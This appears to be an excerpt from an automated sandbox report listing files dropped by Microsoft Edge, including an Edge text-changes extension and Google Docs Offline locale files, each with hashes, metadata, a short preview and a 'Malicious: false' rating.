Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\a3425ad5-3289-484d-a875-bdcb19dc1d20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a9247b1a-7afd-4674-a96e-9a0638cdc416.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	5.337758074205353
Encrypted:	false
SSDEEP:	12:YWyRT/no0Dkv/cSKnd56s/cSiYTlL0Dkv/cjfkL56s/C:YnRLno0cA5Di+lL05sL5M
MD5:	2158FDB2ED027DC4B083ABEB10E82492
SHA1:	2A81DC48363F2E6DEFC36E882FB43F4B6733EE8D
SHA-256:	C41657353F351A0612EBE43969423E6C9D5F19EEC0049C0372884FBA31A6595C
SHA-512:	702580ECABF95AB074476718BC9DF981DB9CC3770A9959FC6508E2FBD55C54F9DA2E68E6299C4DECD7769F060550FC1EB1219AFC5F62C85BAEB8CDAC10D053E2
Malicious:	false
Preview:	{"logTime": "0901/004819", "correlationVector":"6A24DBBC174D479CA1BFE902A61C38CB","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "0901/004831", "correlationVector":"QcXj9SYeC2r2adcjsljrHJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "0901/004831", "correlationVector":"21D9FF3B624A446BA00B381DA63CABB8","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "0901/004832", "correlationVector":"YS1vxmI17NwdpcPlvrqdhD","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2056053137\744931f4-93c9-45be-a95c-a7d654cd7add.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2056053137\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2056053137\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2056053137\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2056053137\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\8f0ffd80-caae-46e8-89bf-5622c36289f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
